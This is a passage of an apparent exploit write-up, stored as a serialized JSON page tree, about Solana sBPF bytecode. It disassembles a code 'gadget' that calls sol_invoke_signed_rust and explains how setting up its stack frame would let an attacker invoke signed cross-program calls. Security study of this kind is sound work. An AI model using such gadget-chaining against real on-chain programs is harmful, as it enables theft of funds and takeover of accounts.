r4",{"type":25,"tag":216,"props":48201,"children":48202},{"style":6958},[48203],{"type":31,"value":48098},{"type":25,"tag":216,"props":48205,"children":48206},{"style":6941},[48207],{"type":31,"value":48103},{"type":25,"tag":216,"props":48209,"children":48210},{"style":6947},[48211],{"type":31,"value":8270},{"type":25,"tag":216,"props":48213,"children":48214},{"style":6983},[48215],{"type":31,"value":749},{"type":25,"tag":216,"props":48217,"children":48218},{"style":6958},[48219],{"type":31,"value":48117},{"type":25,"tag":216,"props":48221,"children":48222},{"style":6941},[48223],{"type":31,"value":48224},"var_98",{"type":25,"tag":216,"props":48226,"children":48227},{"style":6958},[48228],{"type":31,"value":7868},{"type":25,"tag":216,"props":48230,"children":48231},{"class":6916,"line":7104},[48232,48237,48242,48246,48251,48255,48259,48263,48268,48272,48277],{"type":25,"tag":216,"props":48233,"children":48234},{"style":6941},[48235],{"type":31,"value":48236},"100001bc0",{"type":25,"tag":216,"props":48238,"children":48239},{"style":6941},[48240],{"type":31,"value":48241},"  79a570ff00000000",{"type":25,"tag":216,"props":48243,"children":48244},{"style":6941},[48245],{"type":31,"value":48088},{"type":25,"tag":216,"props":48247,"children":48248},{"style":6941},[48249],{"type":31,"value":48250}," r5",{"type":25,"tag":216,"props":48252,"children":48253},{"style":6958},[48254],{"type":31,"value":48098},{"type":25,"tag":216,"props":48256,"children":48257},{"style":6941},[48258],{"type":31,"value":48103},{"type":25,"tag":216,"props":48260,"children":48261},{"style":6947},[48262],{"type":31,"value":8270},{"type":25,"tag":216,"props":48264,"children":48265},{"style":6983},[48266],{"type":31,"value":48267},"144",{"type":25,"tag":216,"props":48269,"children":48270},{"style":6958},[48271],{"type":31,"value":48117},{"type":25,"tag":216,"props":48273,"children":48274},{"style":6941},[48275],{"type":31,"value":48276},"var_90",{"type":25,"tag":216,"props":48278,"children":48279},{"style":6958},[48280],{"type":31,"value":7868},{"type":25,"tag":216,"props":48282,"children":48283},{"class":6916,"line":7210},[48284,48289,48294,48299],{"type":25,"tag":216,"props":48285,"children":48286},{"style":6941},[48287],{"type":31,"value":48288},"100001bc8",{"type":25,"tag":216,"props":48290,"children":48291},{"style":6983},[48292],{"type":31,"value":48293},"  8520000020100000",{"type":25,"tag":216,"props":48295,"children":48296},{"style":6941},[48297],{"type":31,"value":48298},"   call",{"type":25,"tag":216,"props":48300,"children":48301},{"style":6941},[48302],{"type":31,"value":48303}," sol_invoke_signed_rust\n",{"type":25,"tag":216,"props":48305,"children":48306},{"class":6916,"line":7238},[48307,48312,48317,48322,48326,48330,48334,48338,48343,48347],{"type":25,"tag":216,"props":48308,"children":48309},{"style":6941},[48310],{"type":31,"value":48311},"100001bd0",{"type":25,"tag":216,"props":48313,"children":48314},{"style":6983},[48315],{"type":31,"value":48316},"  5500040000000000",{"type":25,"tag":216,"props":48318,"children":48319},{"style":6941},[48320],{"type":31,"value":48321},"   jne",{"type":25,"tag":216,"props":48323,"children":48324},{"style":6958},[48325],{"type":31,"value":12666},{"type":25,"tag":216,"props":48327,"children":48328},{"style":6947},[48329],{"type":31,"value":3533},{"type":25,"tag":216,"props":48331,"children":48332},{"style":6983},[48333],{"type":31,"value":21480},{"type":25,"tag":216,"props":48335,"children":48336},{"style":6958},[48337],{"type":31,"value":9766},{"type":25,"tag":216,"props":48339,"children":48340},{"style":6941},[48341],{"type":31,"value":48342},"r0",{"type":25,"tag":216,"props":48344,"children":48345},{"style":6958},[48346],{"type":31,"value":7020},{"type":25,"tag":216,"props":48348,"children":48349},{"style":6983},[48350],{"type":31,"value":48351},"0x0\n",{"type":25,"tag":216,"props":48353,"children":48354},{"class":6916,"line":7251},[48355],{"type":25,"tag":216,"props":48356,"children":48357},{"emptyLinePlaceholder":16},[48358],{"type":31,"value":7636},{"type":25,"tag":216,"props":48360,"children":48361},{"class":6916,"line":7269},[48362,48367,48372,48377,48382,48386],{"type":25,"tag":216,"props":48363,"children":48364},{"style":6941},[48365],{"type":31,"value":48366},"100001bd8",{"type":25,"tag":216,"props":48368,"children":48369},{"style":6941},[48370],{"type":31,"value":48371},"  b701000018000000",{"type":25,"tag":216,"props":48373,"children":48374},{"style":6941},[48375],{"type":31,"value":48376},"   mov",{"type":25,"tag":216,"props":48378,"children":48379},{"style":6941},[48380],{"type":31,"value":48381}," r1",{"type":25,"tag":216,"props":48383,"children":48384},{"style":6958},[48385],{"type":31,"value":7020},{"type":25,"tag":216,"props":48387,"children":48388},{"style":6983},[48389],{"type":31,"value":48390},"0x18\n",{"type":25,"tag":216,"props":48392,"children":48393},{"class":6916,"line":7290},[48394,48399,48404,48408,48412,48416,48420,48424,48429,48433,48438],{"type":25,"tag":216,"props":48395,"children":48396},{"style":6941},[48397],{"type":31,"value":48398},"100001be0",{"type":25,"tag":216,"props":48400,"children":48401},{"style":6941},[48402],{"type":31,"value":48403},"  79a288ff00000000",{"type":25,"tag":216,"props":48405,"children":48406},{"style":6941},[48407],{"type":31,"value":48088},{"type":25,"tag":216,"props":48409,"children":48410},{"style":6941},[48411],{"type":31,"value":48093},{"type":25,"tag":216,"props":48413,"children":48414},{"style":6958},[48415],{"type":31,"value":48098},{"type":25,"tag":216,"props":48417,"children":48418},{"style":6941},[48419],{"type":31,"value":48103},{"type":25,"tag":216,"props":48421,"children":48422},{"style":6947},[48423],{"type":31,"value":8270},{"type":25,"tag":216,"props":48425,"children":48426},{"style":6983},[48427],{"type":31,"value":48428},"120",{"type":25,"tag":216,"props":48430,"children":48431},{"style":6958},[48432],{"type":31,"value":48117},{"type":25,"tag":216,"props":48434,"children":48435},{"style":6941},[48436],{"type":31,"value":48437},"var_78",{"type":25,"tag":216,"props":48439,"children":48440},{"style":6958},[48441],{"type":31,"value":7868},{"type":25,"tag":216,"props":48443,"children":48444},{"class":6916,"line":7299},[48445,48450,48455,48460,48464,48469,48473,48477,48481,48486,48491,48496],{"type":25,"tag":216,"props":48446,"children":48447},{"style":6941},[48448],{"type":31,"value":48449},"100001be8",{"type":25,"tag":216,"props":48451,"children":48452},{"style":6983},[48453],{"type":31,"value":48454},"  6312000000000000",{"type":25,"tag":216,"props":48456,"children":48457},{"style":6941},[48458],{"type":31,"value":48459},"   stxw",{"type":25,"tag":216,"props":48461,"children":48462},{"style":6958},[48463],{"type":31,"value":26972},{"type":25,"tag":216,"props":48465,"children":48466},{"style":6941},[48467],{"type":31,"value":48468},"r2",{"type":25,"tag":216,"props":48470,"children":48471},{"style":6947},[48472],{"type":31,"value":8270},{"type":25,"tag":216,"props":48474,"children":48475},{"style":6983},[48476],{"type":31,"value":1876},{"type":25,"tag":216,"props":48478,"children":48479},{"style":6958},[48480],{"type":31,"value":27000},{"type":25,"tag":216,"props":48482,"children":48483},{"style":6941},[48484],{"type":31,"value":48485},"r1",{"type":25,"tag":216,"props":48487,"children":48488},{"style":6958},[48489],{"type":31,"value":48490},"  {",{"type":25,"tag":216,"props":48492,"children":48493},{"style":6983},[48494],{"type":31,"value":48495},"0x18",{"type":25,"tag":216,"props":48497,"children":48498},{"style":6958},[48499],{"type":31,"value":7868},{"type":25,"tag":216,"props":48501,"children":48502},{"class":6916,"line":7551},[48503,48508,48513,48518,48522,48526,48530],{"type":25,"tag":216,"props":48504,"children":48505},{"style":6941},[48506],{"type":31,"value":48507},"100001bf0",{"type":25,"tag":216,"props":48509,"children":48510},{"style":6983},[48511],{"type":31,"value":48512},"  0500030000000000",{"type":25,"tag":216,"props":48514,"children":48515},{"style":6941},[48516],{"type":31,"value":48517},"   ja",{"type":25,"tag":216,"props":48519,"children":48520},{"style":6958},[48521],{"type":31,"value":12666},{"type":25,"tag":216,"props":48523,"children":48524},{"style":6947},[48525],{"type":31,"value":3533},{"type":25,"tag":216,"props":48527,"children":48528},{"style":6983},[48529],{"type":31,"value":21247},{"type":25,"tag":216,"props":48531,"children":48532},{"style":6958},[48533],{"type":31,"value":9937},{"type":25,"tag":216,"props":48535,"children":48536},{"class":6916,"line":7568},[48537],{"type":25,"tag":216,"props":48538,"children":48539},{"emptyLinePlaceholder":16},[48540],{"type":31,"value":7636},{"type":25,"tag":216,"props":48542,"children":48543},{"class":6916,"line":7585},[48544,48549,48554,48558,48562,48566,48570,48574,48578,48582,48586],{"type":25,"tag":216,"props":48545,"children":48546},{"style":6941},[48547],{"type":31,"value":48548},"100001bf8",{"type":25,"tag":216,"props":48550,"children":48551},{"style":6941},[48552],{"type":31,"value":48553},"  79a188ff00000000",{"type":25,"tag":216,"props":48555,"children":48556},{"style":6941},[48557],{"type":31,"value":48088},{"type":25,"tag":216,"props":48559,"children":48560},{"style":6941},[48561],{"type":31,"value":48381},{"type":25,"tag":216,"props":48563,"children":48564},{"style":6958},[48565],{"type":31,"value":48098},{"type":25,"tag":216,"props":48567,"children":48568},{"style":6941},[48569],{"type":31,"value":48103},{"type":25,"tag":216,"props":48571,"children":48572},{"style":6947},[48573],{"type":31,"value":8270},{"type":25,"tag":216,"props":48575,"children":48576},{"style":6983},[48577],{"type":31,"value":48428},{"type":25,"tag":216,"props":48579,"children":48580},{"style":6958},[48581],{"type":31,"value":48117},{"type":25,"tag":216,"props":48583,"children":48584},{"style":6941},[48585],{"type":31,"value":48437},{"type":25,"tag":216,"props":48587,"children":48588},{"style":6958},[48589],{"type":31,"value":7868},{"type":25,"tag":216,"props":48591,"children":48592},{"class":6916,"line":7598},[48593,48598,48603,48607,48611,48615],{"type":25,"tag":216,"props":48594,"children":48595},{"style":6941},[48596],{"type":31,"value":48597},"100001c00",{"type":25,"tag":216,"props":48599,"children":48600},{"style":6941},[48601],{"type":31,"value":48602},"  bf02000000000000",{"type":25,"tag":216,"props":48604,"children":48605},{"style":6941},[48606],{"type":31,"value":48376},{"type":25,"tag":216,"props":48608,"children":48609},{"style":6941},[48610],{"type":31,"value":48093},{"type":25,"tag":216,"props":48612,"children":48613},{"style":6958},[48614],{"type":31,"value":7020},{"type":25,"tag":216,"props":48616,"children":48617},{"style":6941},[48618],{"type":31,"value":48619},"r0\n",{"type":25,"tag":216,"props":48621,"children":48622},{"class":6916,"line":7607},[48623,48628,48633,48637,48642,48646,48651,48655,48659,48664,48668,48672,48677,48682,48686,48690],{"type":25,"tag":216,"props":48624,"children":48625},{"style":6941},[48626],{"type":31,"value":48627},"100001c08",{"type":25,"tag":216,"props":48629,"children":48630},{"style":6983},[48631],{"type":31,"value":48632},"  8510000075000000",{"type":25,"tag":216,"props":48634,"children":48635},{"style":6941},[48636],{"type":31,"value":48298},{"type":25,"tag":216,"props":48638,"children":48639},{"style":7369},[48640],{"type":31,"value":48641}," _ZN94_",{"type":25,"tag":216,"props":48643,"children":48644},{"style":6947},[48645],{"type":31,"value":14239},{"type":25,"tag":216,"props":48647,"children":48648},{"style":7369},[48649],{"type":31,"value":48650},"LT",{"type":25,"tag":216,"props":48652,"children":48653},{"style":6947},[48654],{"type":31,"value":14239},{"type":25,"tag":216,"props":48656,"children":48657},{"style":6941},[48658],{"type":31,"value":17604},{"type":25,"tag":216,"props":48660,"children":48661},{"style":6947},[48662],{"type":31,"value":48663},"...$",{"type":25,"tag":216,"props":48665,"children":48666},{"style":6941},[48667],{"type":31,"value":11988},{"type":25,"tag":216,"props":48669,"children":48670},{"style":6947},[48671],{"type":31,"value":14239},{"type":25,"tag":216,"props":48673,"children":48674},{"style":7369},[48675],{"type":31,"value":48676},"GT",{"type":25,"tag":216,"props":48678,"children":48679},{"style":6947},[48680],{"type":31,"value":48681},"$$",{"type":25,"tag":216,"props":48683,"children":48684},{"style":7369},[48685],{"type":31,"value":48676},{"type":25,"tag":216,"props":48687,"children":48688},{"style":6947},[48689],{"type":31,"value":14239},{"type":25,"tag":216,"props":48691,"children":48692},{"style":6958},[48693],{"type":31,"value":48694},"4from17ha0d289b72861b06dE\n",{"type":25,"tag":216,"props":48696,"children":48697},{"class":6916,"line":7630},[48698],{"type":25,"tag":216,"props":48699,"children":48700},{"emptyLinePlaceholder":16},[48701],{"type":31,"value":7636},{"type":25,"tag":216,"props":48703,"children":48704},{"class":6916,"line":7639},[48705,48710,48715,48719,48723,48727,48731,48735,48740,48744,48749],{"type":25,"tag":216,"props":48706,"children":48707},{"style":6941},[48708],{"type":31,"value":48709},"100001c10",{"type":25,"tag":216,"props":48711,"children":48712},{"style":6941},[48713],{"type":31,"value":48714},"  79a2b8ff00000000",{"type":25,"tag":216,"props":48716,"children":48717},{"style":6941},[48718],{"type":31,"value":48088},{"type":25,"tag":216,"props":48720,"children":48721},{"style":6941},[48722],{"type":31,"value":48093},{"type":25,"tag":216,"props":48724,"children":48725},{"style":6958},[48726],{"type":31,"value":48098},{"type":25,"tag":216,"props":48728,"children":48729},{"style":6941},[48730],{"type":31,"value":48103},{"type":25,"tag":216,"props":48732,"children":48733},{"style":6947},[48734],{"type":31,"value":8270},{"type":25,"tag":216,"props":48736,"children":48737},{"style":6983},[48738],{"type":31,"value":48739},"72",{"type":25,"tag":216,"props":48741,"children":48742},{"style":6958},[48743],{"type":31,"value":48117},{"type":25,"tag":216,"props":48745,"children":48746},{"style":6941},[48747],{"type":31,"value":48748},"var_48",{"type":25,"tag":216,"props":48750,"children":48751},{"style":6958},[48752],{"type":31,"value":7868},{"type":25,"tag":216,"props":48754,"children":48755},{"class":6916,"line":7648},[48756,48761,48766,48771,48775,48779,48783,48787,48791,48795],{"type":25,"tag":216,"props":48757,"children":48758},{"style":6941},[48759],{"type":31,"value":48760},"100001c18",{"type":25,"tag":216,"props":48762,"children":48763},{"style":6983},[48764],{"type":31,"value":48765},"  1502040000000000",{"type":25,"tag":216,"props":48767,"children":48768},{"style":6941},[48769],{"type":31,"value":48770},"   jeq",{"type":25,"tag":216,"props":48772,"children":48773},{"style":6958},[48774],{"type":31,"value":12666},{"type":25,"tag":216,"props":48776,"children":48777},{"style":6947},[48778],{"type":31,"value":3533},{"type":25,"tag":216,"props":48780,"children":48781},{"style":6983},[48782],{"type":31,"value":21480},{"type":25,"tag":216,"props":48784,"children":48785},{"style":6958},[48786],{"type":31,"value":9766},{"type":25,"tag":216,"props":48788,"children":48789},{"style":6941},[48790],{"type":31,"value":48468},{"type":25,"tag":216,"props":48792,"children":48793},{"style":6958},[48794],{"type":31,"value":7020},{"type":25,"tag":216,"props":48796,"children":48797},{"style":6983},[48798],{"type":31,"value":48351},{"type":25,"tag":216,"props":48800,"children":48801},{"class":6916,"line":7716},[48802],{"type":25,"tag":216,"props":48803,"children":48804},{"emptyLinePlaceholder":16},[48805],{"type":31,"value":7636},{"type":25,"tag":216,"props":48807,"children":48808},{"class":6916,"line":7724},[48809,48814,48819,48824,48828,48832],{"type":25,"tag":216,"props":48810,"children":48811},{"style":6941},[48812],{"type":31,"value":48813},"100001c20",{"type":25,"tag":216,"props":48815,"children":48816},{"style":6983},[48817],{"type":31,"value":48818},"  2702000022000000",{"type":25,"tag":216,"props":48820,"children":48821},{"style":6941},[48822],{"type":31,"value":48823},"   mul",{"type":25,"tag":216,"props":48825,"children":48826},{"style":6941},[48827],{"type":31,"value":48093},{"type":25,"tag":216,"props":48829,"children":48830},{"style":6958},[48831],{"type":31,"value":7020},{"type":25,"tag":216,"props":48833,"children":48834},{"style":6983},[48835],{"type":31,"value":48836},"0x22\n",{"type":25,"tag":216,"props":48838,"children":48839},{"class":6916,"line":7754},[48840,48845,48850,48854,48858,48862,48866,48870,48875,48879,48884],{"type":25,"tag":216,"props":48841,"children":48842},{"style":6941},[48843],{"type":31,"value":48844},"100001c28",{"type":25,"tag":216,"props":48846,"children":48847},{"style":6941},[48848],{"type":31,"value":48849},"  79a1b0ff00000000",{"type":25,"tag":216,"props":48851,"children":48852},{"style":6941},[48853],{"type":31,"value":48088},{"type":25,"tag":216,"props":48855,"children":48856},{"style":6941},[48857],{"type":31,"value":48381},{"type":25,"tag":216,"props":48859,"children":48860},{"style":6958},[48861],{"type":31,"value":48098},{"type":25,"tag":216,"props":48863,"children":48864},{"style":6941},[48865],{"type":31,"value":48103},{"type":25,"tag":216,"props":48867,"children":48868},{"style":6947},[48869],{"type":31,"value":8270},{"type":25,"tag":216,"props":48871,"children":48872},{"style":6983},[48873],{"type":31,"value":48874},"80",{"type":25,"tag":216,"props":48876,"children":48877},{"style":6958},[48878],{"type":31,"value":48117},{"type":25,"tag":216,"props":48880,"children":48881},{"style":6941},[48882],{"type":31,"value":48883},"var_50",{"type":25,"tag":216,"props":48885,"children":48886},{"style":6958},[48887],{"type":31,"value":7868},{"type":25,"tag":216,"props":48889,"children":48890},{"class":6916,"line":7762},[48891,48896,48901,48905,48909,48913],{"type":25,"tag":216,"props":48892,"children":48893},{"style":6941},[48894],{"type":31,"value":48895},"100001c30",{"type":25,"tag":216,"props":48897,"children":48898},{"style":6941},[48899],{"type":31,"value":48900},"  b703000001000000",{"type":25,"tag":216,"props":48902,"children":48903},{"style":6941},[48904],{"type":31,"value":48376},{"type":25,"tag":216,"props":48906,"children":48907},{"style":6941},[48908],{"type":31,"value":48148},{"type":25,"tag":216,"props":48910,"children":48911},{"style":6958},[48912],{"type":31,"value":7020},{"type":25,"tag":216,"props":48914,"children":48915},{"style":6983},[48916],{"type":31,"value":48917},"0x1\n",{"type":25,"tag":216,"props":48919,"children":48920},{"class":6916,"line":7794},[48921,48926,48931,48935],{"type":25,"tag":216,"props":48922,"children":48923},{"style":6941},[48924],{"type":31,"value":48925},"100001c38",{"type":25,"tag":216,"props":48927,"children":48928},{"style":6941},[48929],{"type":31,"value":48930},"  8510000003feffff",{"type":25,"tag":216,"props":48932,"children":48933},{"style":6941},[48934],{"type":31,"value":48298},{"type":25,"tag":216,"props":48936,"children":48937},{"style":6941},[48938],{"type":31,"value":48939}," __rust_dealloc\n",{"type":25,"tag":216,"props":48941,"children":48942},{"class":6916,"line":7802},[48943],{"type":25,"tag":216,"props":48944,"children":48945},{"emptyLinePlaceholder":16},[48946],{"type":31,"value":7636},{"type":25,"tag":216,"props":48948,"children":48949},{"class":6916,"line":7862},[48950,48955,48960,48964,48968,48972,48976,48980,48985,48989,48994],{"type":25,"tag":216,"props":48951,"children":48952},{"style":6941},[48953],{"type":31,"value":48954},"100001c40",{"type":25,"tag":216,"props":48956,"children":48957},{"style":6941},[48958],{"type":31,"value":48959},"  79a2d0ff00000000",{"type":25,"tag":216,"props":48961,"children":48962},{"style":6941},[48963],{"type":31,"value":48088},{"type":25,"tag":216,"props":48965,"children":48966},{"style":6941},[48967],{"type":31,"value":48093},{"type":25,"tag":216,"props":48969,"children":48970},{"style":6958},[48971],{"type":31,"value":48098},{"type":25,"tag":216,"props":48973,"children":48974},{"style":6941},[48975],{"type":31,"value":48103},{"type":25,"tag":216,"props":48977,"children":48978},{"style":6947},[48979],{"type":31,"value":8270},{"type":25,"tag":216,"props":48981,"children":48982},{"style":6983},[48983],{"type":31,"value":48984},"48",{"type":25,"tag":216,"props":48986,"children":48987},{"style":6958},[48988],{"type":31,"value":48117},{"type":25,"tag":216,"props":48990,"children":48991},{"style":6941},[48992],{"type":31,"value":48993},"var_30",{"type":25,"tag":216,"props":48995,"children":48996},{"style":6958},[48997],{"type":31,"value":7868},{"type":25,"tag":216,"props":48999,"children":49000},{"class":6916,"line":12995},[49001,49006,49011,49015,49019,49023,49027,49031,49035,49039],{"type":25,"tag":216,"props":49002,"children":49003},{"style":6941},[49004],{"type":31,"value":49005},"100001c48",{"type":25,"tag":216,"props":49007,"children":49008},{"style":6983},[49009],{"type":31,"value":49010},"  1502030000000000",{"type":25,"tag":216,"props":49012,"children":49013},{"style":6941},[49014],{"type":31,"value":48770},{"type":25,"tag":216,"props":49016,"children":49017},{"style":6958},[49018],{"type":31,"value":12666},{"type":25,"tag":216,"props":49020,"children":49021},{"style":6947},[49022],{"type":31,"value":3533},{"type":25,"tag":216,"props":49024,"children":49025},{"style":6983},[49026],{"type":31,"value":21247},{"type":25,"tag":216,"props":49028,"children":49029},{"style":6958},[49030],{"type":31,"value":9766},{"type":25,"tag":216,"props":49032,"children":49033},{"style":6941},[49034],{"type":31,"value":48468},{"type":25,"tag":216,"props":49036,"children":49037},{"style":6958},[49038],{"type":31,"value":7020},{"type":25,"tag":216,"props":49040,"children":49041},{"style":6983},[49042],{"type":31,"value":48351},{"type":25,"tag":216,"props":49044,"children":49045},{"class":6916,"line":13013},[49046],{"type":25,"tag":216,"props":49047,"children":49048},{"emptyLinePlaceholder":16},[49049],{"type":31,"value":7636},{"type":25,"tag":216,"props":49051,"children":49052},{"class":6916,"line":13058},[49053,49058,49063,49067,49071,49075,49079,49083,49088,49092,49097],{"type":25,"tag":216,"props":49054,"children":49055},{"style":6941},[49056],{"type":31,"value":49057},"100001c50",{"type":25,"tag":216,"props":49059,"children":49060},{"style":6941},[49061],{"type":31,"value":49062},"  79a1c8ff00000000",{"type":25,"tag":216,"props":49064,"children":49065},{"style":6941},[49066],{"type":31,"value":48088},{"type":25,"tag":216,"props":49068,"children":49069},{"style":6941},[49070],{"type":31,"value":48381},{"type":25,"tag":216,"props":49072,"children":49073},{"style":6958},[49074],{"type":31,"value":48098},{"type":25,"tag":216,"props":49076,"children":49077},{"style":6941},[49078],{"type":31,"value":48103},{"type":25,"tag":216,"props":49080,"children":49081},{"style":6947},[49082],{"type":31,"value":8270},{"type":25,"tag":216,"props":49084,"children":49085},{"style":6983},[49086],{"type":31,"value":49087},"56",{"type":25,"tag":216,"props":49089,"children":49090},{"style":6958},[49091],{"type":31,"value":48117},{"type":25,"tag":216,"props":49093,"children":49094},{"style":6941},[49095],{"type":31,"value":49096},"var_38",{"type":25,"tag":216,"props":49098,"children":49099},{"style":6958},[49100],{"type":31,"value":7868},{"type":25,"tag":216,"props":49102,"children":49103},{"class":6916,"line":13164},[49104,49109,49113,49117,49121,49125],{"type":25,"tag":216,"props":49105,"children":49106},{"style":6941},[49107],{"type":31,"value":49108},"100001c58",{"type":25,"tag":216,"props":49110,"children":49111},{"style":6941},[49112],{"type":31,"value":48900},{"type":25,"tag":216,"props":49114,"children":49115},{"style":6941},[49116],{"type":31,"value":48376},{"type":25,"tag":216,"props":49118,"children":49119},{"style":6941},[49120],{"type":31,"value":48148},{"type":25,"tag":216,"props":49122,"children":49123},{"style":6958},[49124],{"type":31,"value":7020},{"type":25,"tag":216,"props":49126,"children":49127},{"style":6983},[49128],{"type":31,"value":48917},{"type":25,"tag":216,"props":49130,"children":49131},{"class":6916,"line":27449},[49132,49137,49142,49146],{"type":25,"tag":216,"props":49133,"children":49134},{"style":6941},[49135],{"type":31,"value":49136},"100001c60",{"type":25,"tag":216,"props":49138,"children":49139},{"style":6941},[49140],{"type":31,"value":49141},"  85100000fefdffff",{"type":25,"tag":216,"props":49143,"children":49144},{"style":6941},[49145],{"type":31,"value":48298},{"type":25,"tag":216,"props":49147,"children":49148},{"style":6941},[49149],{"type":31,"value":48939},{"type":25,"tag":216,"props":49151,"children":49152},{"class":6916,"line":27484},[49153],{"type":25,"tag":216,"props":49154,"children":49155},{"emptyLinePlaceholder":16},[49156],{"type":31,"value":7636},{"type":25,"tag":216,"props":49158,"children":49159},{"class":6916,"line":27492},[49160,49165,49170,49175,49180,49185],{"type":25,"tag":216,"props":49161,"children":49162},{"style":6941},[49163],{"type":31,"value":49164},"100001c68",{"type":25,"tag":216,"props":49166,"children":49167},{"style":6983},[49168],{"type":31,"value":49169},"  9500000000000000",{"type":25,"tag":216,"props":49171,"children":49172},{"style":6941},[49173],{"type":31,"value":49174},"   exit",{"type":25,"tag":216,"props":49176,"children":49177},{"style":6958},[49178],{"type":31,"value":49179}," {",{"type":25,"tag":216,"props":49181,"children":49182},{"style":6941},[49183],{"type":31,"value":49184},"__return_addr",{"type":25,"tag":216,"props":49186,"children":49187},{"style":6958},[49188],{"type":31,"value":7868},{"type":25,"tag":38,"props":49190,"children":49191},{},[49192,49194,49200],{"type":31,"value":49193},"Which, assuming that ",{"type":25,"tag":82,"props":49195,"children":49197},{"className":49196},[],[49198],{"type":31,"value":49199},"sol_invoke_signed_rust",{"type":31,"value":49201}," returns 0, is doing the following:",{"type":25,"tag":6705,"props":49203,"children":49204},{},[49205,49214,49223],{"type":25,"tag":2037,"props":49206,"children":49207},{},[49208],{"type":25,"tag":82,"props":49209,"children":49211},{"className":49210},[],[49212],{"type":31,"value":49213},"sol_invoke_signed_rust(r1, [r10-136], [r10-128], [r10-152], [r10-144])",{"type":25,"tag":2037,"props":49215,"children":49216},{},[49217],{"type":25,"tag":82,"props":49218,"children":49220},{"className":49219},[],[49221],{"type":31,"value":49222},"*[r10-120] = 0x18",{"type":25,"tag":2037,"props":49224,"children":49225},{},[49226,49228,49234,49236,49243],{"type":31,"value":49227},"Calls ",{"type":25,"tag":82,"props":49229,"children":49231},{"className":49230},[],[49232],{"type":31,"value":49233},"__rust_dealloc",{"type":31,"value":49235},", which in default circumstances is a ",{"type":25,"tag":162,"props":49237,"children":49240},{"href":49238,"rel":49239},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/entrypoint.rs#L257C1-L259",[166],[49241],{"type":31,"value":49242},"NOP",{"type":31,"value":179},{"type":25,"tag":38,"props":49245,"children":49246},{},[49247],{"type":31,"value":49248},"r10 is the stack pointer, so it will point to the stack frame of the current depth when executing that instruction.",{"type":25,"tag":38,"props":49250,"children":49251},{},[49252],{"type":31,"value":49253},"If we correctly set up the stack frame used by this gadget with valid parameters, that's a win.",{"type":25,"tag":38,"props":49255,"children":49256},{},[49257,49259,49266],{"type":31,"value":49258},"Looking at the ",{"type":25,"tag":162,"props":49260,"children":49263},{"href":49261,"rel":49262},"https://github.com/solana-labs/solana/blob/master/sdk/program/src/syscalls/definitions.rs#L59",[166],[49264],{"type":31,"value":49265},"definition",{"type":31,"value":49267},", it's not crystal clear what the parameters are:",{"type":25,"tag":206,"props":49269,"children":49271},{"className":6909,"code":49270,"language":6908,"meta":7,"style":7},"fn sol_invoke_signed_rust(instruction_addr: *const u8, account_infos_addr: *const u8, account_infos_len: u64, signers_seeds_addr: *const u8, signers_seeds_len: u64) -> u64\n",[49272],{"type":25,"tag":82,"props":49273,"children":49274},{"__ignoreMap":7},[49275],{"type":25,"tag":216,"props":49276,"children":49277},{"class":6916,"line":6917},[49278,49282,49287,49291,49296,49300,49304,49308,49312,49316,49321,49325,49329,49333,49337,49341,49346,49350,49354,49358,49363,49367,49371,49375,49379,49383,49388,49392,49396,49400,49404],{"type":25,"tag":216,"props":49279,"children":49280},{"style":6930},[49281],{"type":31,"value":24220},{"type":25,"tag":216,"props":49283,"children":49284},{"style":7041},[49285],{"type":31,"value":49286}," sol_invoke_signed_rust",{"type":25,"tag":216,"props":49288,"children":49289},{"style":6958},[49290],{"type":31,"value":1844},{"type":25,"tag":216,"props":49292,"children":49293},{"style":6941},[49294],{"type":31,"value":49295},"instruction_addr",{"type":25,"tag":216,"props":49297,"children":49298},{"style":6947},[49299],{"type":31,"value":1466},{"type":25,"tag":216,"props":49301,"children":49302},{"style":6947},[49303],{"type":31,"value":13767},{"type":25,"tag":216,"props":49305,"children":49306},{"style":6930},[49307],{"type":31,"value":13605},{"type":25,"tag":216,"props":49309,"children":49310},{"style":7369},[49311],{"type":31,"value":18585},{"type":25,"tag":216,"props":49313,"children":49314},{"style":6958},[49315],{"type":31,"value":7020},{"type":25,"tag":216,"props":49317,"children":49318},{"style":6941},[49319],{"type":31,"value":49320},"account_infos_addr",{"type":25,"tag":216,"props":49322,"children":49323},{"style":6947},[49324],{"type":31,"value":1466},{"type":25,"tag":216,"props":49326,"children":49327},{"style":6947},[49328],{"type":31,"value":13767},{"type":25,"tag":216,"props":49330,"children":49331},{"style":6930},[49332],{"type":31,"value":13605},{"type":25,"tag":216,"props":49334,"children":49335},{"style":7369},[49336],{"type":31,"value":18585},{"type":25,"tag":216,"props":49338,"children":49339},{"style":6958},[49340],{"type":31,"value":7020},{"type":25,"tag":216,"props":49342,"children":49343},{"style":6941},[49344],{"type":31,"value":49345},"account_infos_len",{"type":25,"tag":216,"props":49347,"children":49348},{"style":6947},[49349],{"type":31,"value":1466},{"type":25,"tag":216,"props":49351,"children":49352},{"style":7369},[49353],{"type":31,"value":9805},{"type":25,"tag":216,"props":49355,"children":49356},{"style":6958},[49357],{"type":31,"value":7020},{"type":25,"tag":216,"props":49359,"children":49360},{"style":6941},[49361],{"type":31,"value":49362},"signers_seeds_addr",{"type":25,"tag":216,"props":49364,"children":49365},{"style":6947},[49366],{"type":31,"value":1466},{"type":25,"tag":216,"props":49368,"children":49369},{"style":6947},[49370],{"type":31,"value":13767},{"type":25,"tag":216,"props":49372,"children":49373},{"style":6930},[49374],{"type":31,"value":13605},{"type":25,"tag":216,"props":49376,"children":49377},{"style":7369},[49378],{"type":31,"value":18585},{"type":25,"tag":216,"props":49380,"children":49381},{"style":6958},[49382],{"type":31,"value":7020},{"type":25,"tag":216,"props":49384,"children":49385},{"style":6941},[49386],{"type":31,"value":49387},"signers_seeds_len",{"type":25,"tag":216,"props":49389,"children":49390},{"style":6947},[49391],{"type":31,"value":1466},{"type":25,"tag":216,"props":49393,"children":49394},{"style":7369},[49395],{"type":31,"value":9805},{"type":25,"tag":216,"props":49397,"children":49398},{"style":6958},[49399],{"type":31,"value":7030},{"type":25,"tag":216,"props":49401,"children":49402},{"style":6947},[49403],{"type":31,"value":17708},{"type":25,"tag":216,"props":49405,"children":49406},{"style":7369},[49407],{"type":31,"value":17147},{"type":25,"tag":38,"props":49409,"children":49410},{},[49411,49413,49418,49420,49427],{"type":31,"value":49412},"The source of ",{"type":25,"tag":162,"props":49414,"children":49416},{"href":49415},"(https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/program.rs#L289)",[49417],{"type":31,"value":48029},{"type":31,"value":49419}," helps a lot, but looking at the actual 